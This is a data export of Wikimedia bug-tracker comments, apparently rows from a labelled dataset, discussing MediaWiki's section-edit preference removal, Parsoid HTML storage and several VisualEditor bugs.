+.mw-editsection { display: none; }",,,1404052704,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,51,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+256718,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","**troyengel** wrote:
+
+I'm not a MediaWiki guru to be able to figure this out, but with the 1.23 release I can't figure out how to disable this again. It's referenced above:
+
+""Users interested in hiding section-edit links can use per-user (or site-wide) CSS.""
+
+Great, but can someone update documentation on exactly *how* to do this? In my LocalSettings.php I have the old setting which is apparently ignored now:
+
+  $wgDefaultUserOptions ['editsection'] = false;
+
+I've dumped the DB and grepped and find only one reference to 'noeditsection' in the data, and my user account still shows the [Edit] on sections. The wiki indicates nothing about this change yet:
+
+  http://www.mediawiki.org/wiki/Manual:$wgDefaultUserOptions
+
+Can one of y'all please post exactly what needs to go where to disable site-wide this feature for anonymous, new and previous (logged in) users so that this change removing the feature can be put back into CSS?
+
+I'd be happy to update the above wiki page if someone just tells me *how* to go about it as a low-speed wiki operator who doesn't live & breathe this code. Thanks!",,,1404051842,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,51,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+256712,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to Danny B. from comment #14)
+> Described in the last line of comment #11.
+
+The last line of comment 11 is:
+> And gadgets are what? Saved in preferences. Hence we are where we were.
+
+Sure, but most users and most wikis don't want or need an extra user preference for this. These links are automatically shown based on user permission and they're able to be hidden on a site-wide basis, on a per-page basis, and on a per-user basis. I don't see a need for a user preference here. What's the use-case, exactly? Why would a user want to hide these links for only their account?
+
+Regarding gadgets specifically, a few wikis might create such a gadget, but I doubt it. The overall MediaWiki experience (including that of most Wikimedia wikis) will have less clutter. This seems like a win to me.
+
+>> Out of curiosity, has this happened anywhere?
+> 
+> Yes.
+
+Where? Links welcome. :-)",,,1392773594,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,33,,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+256703,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to MZMcBride from comment #13)
+> (In reply to Danny B. from comment #11)
+> > This is nonsense. It should not have been removed.
+> 
+> Why's that?
+
+Described in the last line of comment #11.
+
+> > So there will be gadget created on sites to enable hiding.
+> 
+> Out of curiosity, has this happened anywhere?
+
+Yes.",,,1392772887,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,33,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+256697,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to Danny B. from comment #11)
+> This is nonsense. It should not have been removed.
+
+Why's that?
+
+> So there will be gadget created on sites to enable hiding.
+
+Out of curiosity, has this happened anywhere?",,,1392690275,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,33,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+256688,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","See comment 0 and comment 5 for reasoning, plus this request (""Remove ... user preference"") is obviously FIXED as the code commit has been merged. :)
+
+I don't think this specific bug report is the place for a generic ""I want less popular ancient options to be removed from the user preferences to reduce UI clutter"" vs. ""I want less people to have to edit their custom CSS or write Gadgets to do X"" discussion - should maybe happen on mediawiki-l instead if there is interest.
+
+However I agree that statistics on how many users have enabled such a setting might be helpful for future evaluation when killing some preferences.",,,1391604424,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,31,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+256681,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","This is nonsense. It should not have been removed.
+
+comment #0 says: ""Users interested in hiding section-edit links can use per-user (or site-wide) CSS.""
+
+Exactly.
+
+So there will be gadget created on sites to enable hiding. (because Jorm is totally true with 'Can we just agree from this day forward that ""put it in your user css"" is not an acceptable solution for any problem, ever?'
+
+And gadgets are what? Saved in preferences. Hence we are where we were.",,,1391543815,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,31,,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+256673,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 merged by jenkins-bot:
+Removed ""Enable section editing via [edit] links"" from preferences
+
+https://gerrit.wikimedia.org/r/99171",,,1390589269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+256666,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 108673 abandoned by 01tonythomas:
+Removed ""Enable section editing via [edit] links"" from preferences
+
+Reason:
+Abandoned: Original patchset at :
+https://gerrit.wikimedia.org/r/#/c/99171/
+
+https://gerrit.wikimedia.org/r/108673",,,1390587668,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+256659,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 restored by 01tonythomas:
+Removed ""Enable section editing via [edit] links"" from preferences
+
+Reason:
+Errors in Rebasing. 
+Restoring for further tests..
+
+https://gerrit.wikimedia.org/r/99171",,,1390376736,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+256653,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 108673 had a related patch set uploaded by 01tonythomas:
+Removed ""Enable section editing via [edit] links"" from preferences
+
+https://gerrit.wikimedia.org/r/108673",,,1390310439,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1
+256648,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 abandoned by 01tonythomas:
+Removed ""Enable section editing via [edit] links"" from preferences
+
+Reason:
+Rebase errors persistant :(
+
+https://gerrit.wikimedia.org/r/99171",,,1390310410,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+256643,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Brian's caution (asking some up to date stats) makes sense, however it should be noted that AFAIK this preference is mainly a relic of the ancient past when section editing was the last new thing. :) Maybe we'll need this preference again if VisualEditor ever finds some magic to allow section editing again. :P",,,1386970419,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,23,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+256639,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to comment #3)
+> Maybe the relevant code form the parser itself can also be removed?
+
+I'm not sure what you mean here.",,,1386225166,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1
+256635,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Just for the record:
+
+<jorm> Can we just agree from this day forward that ""put it in your user css"" is not an acceptable solution for any problem, ever?
+
+From https://bugzilla.wikimedia.org/quips.cgi?action=show
+
+Maybe the relevant code form the parser itself can also be removed?",,,1386186606,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,1
+256630,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 had a related patch set uploaded by 01tonythomas:
+Removed ""Enable section editing via [edit] links"" from Mediawiki Preference.
+
+https://gerrit.wikimedia.org/r/99171",,,1386179478,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+256624,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core",I would like to prepare a patch for this bug. Please assign it to me.,,,1386178444,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+54796,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"A user asks if VE shouldn't now get rid of apostrophes used for formatting and use common tags instead <b>, <i>...
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1376398800,1380661120.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-bgfttfnluju4mvokk3ud,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+255566,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"Closing this as a duplicate to avoid confusion.
+
+*** This bug has been marked as a duplicate of bug 49143 ***",,,1380661120,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+255559,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"Supporting HTML storage is indeed one of our goals for this fiscal year, and an important part of our long-term strategy. We plan to store both HTML and wikitext (plus metadata) for a while, but are working on supporting HTML-only wikis. Those will still be editable using wikitext by using Parsoid for the conversion from HTML to wikitext and then back to HTML after the edit.
+
+See our roadmap at https://www.mediawiki.org/w/index.php?title=Parsoid/Roadmap&oldid=738055 for more detail.",,,1376517975,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+255552,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"(Can't reply right now and for a few days, but in the meantime, someone else begs to differ: http://www.flickr.com/photos/fabola/7571369108/in/set-72157630578652390 )",,,1376516329,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,False,,,6,,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+255545,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,Bug 49143 is the related bug.,,,1376512331,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+255539,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"To clarify, is this asking for VisualEditor to replace wikitext (WT) with HTML equivalents (but still inside a wikitext place)?
+
+If so, that's not something we will do:
+
+* it makes it hard for users to edit with WT;
+* it would be bad to have VE replace other users' WT unexpectedly;
+* it would be confusing to have mixtures of WT and HTML; and
+* it doesn't save anything technically (it'd still need to go through Parsoid).
+
+Because of these factors, that suggestion is a WONTFIX.
+
+However, there is a different goal for Parsoid to be able to store their HTML+RDFa in the database directly, either alongside, or instead of, the WT that is currently stored. This has a number of advantages but is very far off.
+
+I'm going to re-sort this to reflect the second of these, as I don't believe that there is an existing bug.",,,1376512174,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,6,,0,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+255532,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,I believe this is a long-term goal.,,,1376447318,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+54792,VisualEditor: Warn if editing a reference that is used multiple times,"<< When editing a reference, there is no indication at all if it is used multiple times throughout the article. This makes it very easy to screw up references, e.g. when you replace a ref for one sentence by changing it and it gets propagated throughout the article. WS (talk) 11:45, 13 August 2013 (UTC) >>
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1376394960,1414517796.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-pdifcdlqnopvfjzdvczw,task_description,resolved,True,c1,3,False,False,False,6,,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+255336,VisualEditor: Warn if editing a reference that is used multiple times,"The warning ""This reference is used [n] times on this page."" appears for Basic citations only  - verified the fix in beta, test2, and production. 
+
+Bug 73566 was filed to apply the same warning to multiple instances of any kind of citations.",,,1416331982,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-pdifcdlqnopvfjzdvczw,task_subcomment,,True,c1,3,True,,,72,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1
+255327,VisualEditor: Warn if editing a reference that is used multiple times,"Change 169270 merged by jenkins-bot:
+Show warning on reference dialog when editing a reference used in more than one place
+
+https://gerrit.wikimedia.org/r/169270",,,1414517770,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdifcdlqnopvfjzdvczw,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0
+255317,VisualEditor: Warn if editing a reference that is used multiple times,"Change 169270 had a related patch set uploaded by Alex Monk:
+Show warning on reference dialog when editing a reference used in more than one place
+
+https://gerrit.wikimedia.org/r/169270",,,1414453877,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdifcdlqnopvfjzdvczw,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0
+54770,VisualEditor: cutting block level elements changes the type of following element,"
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52771",Medium,50.0,1376340600,1703086644.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-m6mab3qibjjsonpriu5r,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+2243514,VisualEditor: cutting block level elements changes the type of following element,"Change 981374 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
+https://gerrit.wikimedia.org/r/981374",,,1701976845,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2243446,VisualEditor: cutting block level elements changes the type of following element,"Change 981374 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
+https://gerrit.wikimedia.org/r/981374",,,1701971210,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+2243389,VisualEditor: cutting block level elements changes the type of following element,"Change 980444 **merged** by jenkins-bot:
+%%%[VisualEditor/VisualEditor@master] Make headings of different levels ""un-mergeable""%%%
+https://gerrit.wikimedia.org/r/980444",,,1701967183,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+2241936,VisualEditor: cutting block level elements changes the type of following element,"Change 980444 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[VisualEditor/VisualEditor@master] Make headings of different levels ""un-mergeable""%%%
+https://gerrit.wikimedia.org/r/980444",,,1701798922,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+2241907,VisualEditor: cutting block level elements changes the type of following element,Similar to T52419 in that it involves selections which overflow into the next CBN.,,,1701797695,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,True,,,544,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+254058,VisualEditor: cutting block level elements changes the type of following element,"This was first raised at 
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Removing_line_above_header_.22de-headers.22_it.3B_lack_of_.22undo.22_facility
+
+If you have a document like
+==Heading 2==
+===Heading 3===
+====Heading 4====
+Paragraph.
+
+i.e.
+
+<h2>Heading 2</h2>
+<h3>Heading 3</h3>
+<h4>Heading 4</h4>
+<p>Paragraph.</p>
+
+and select the heading 3 block, so the selection goes all the way to the right hand side of the screen then delete, it will change the following heading to be an <h3> element. Likewise deleting the whole of the heading 4 line and deleting changes the paragraph to be a <h3> heading.
+
+I've made a test file at http://en.wikipedia.org/wiki/User:Salix_alba/VE_test",,,1376341181,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+54753,"VisualEditor: In the transclusion dialog, use TemplateData to hint the parameter's default value, if set","**Author:** `l736ewiki`
+
+**Description:**
+The data model for TemplateData allows the tag ""default"" to assign the default value for parameters which foresee it.
+
+However, when adding a template to an article via VisualEditor, the default value is not presented inside the corresponding input field, which appears empty, nor there are automatic hints about the default value (unless who generated the TemplateData object inserted it into the textual ""description"" item).
+
+I would have expected that:
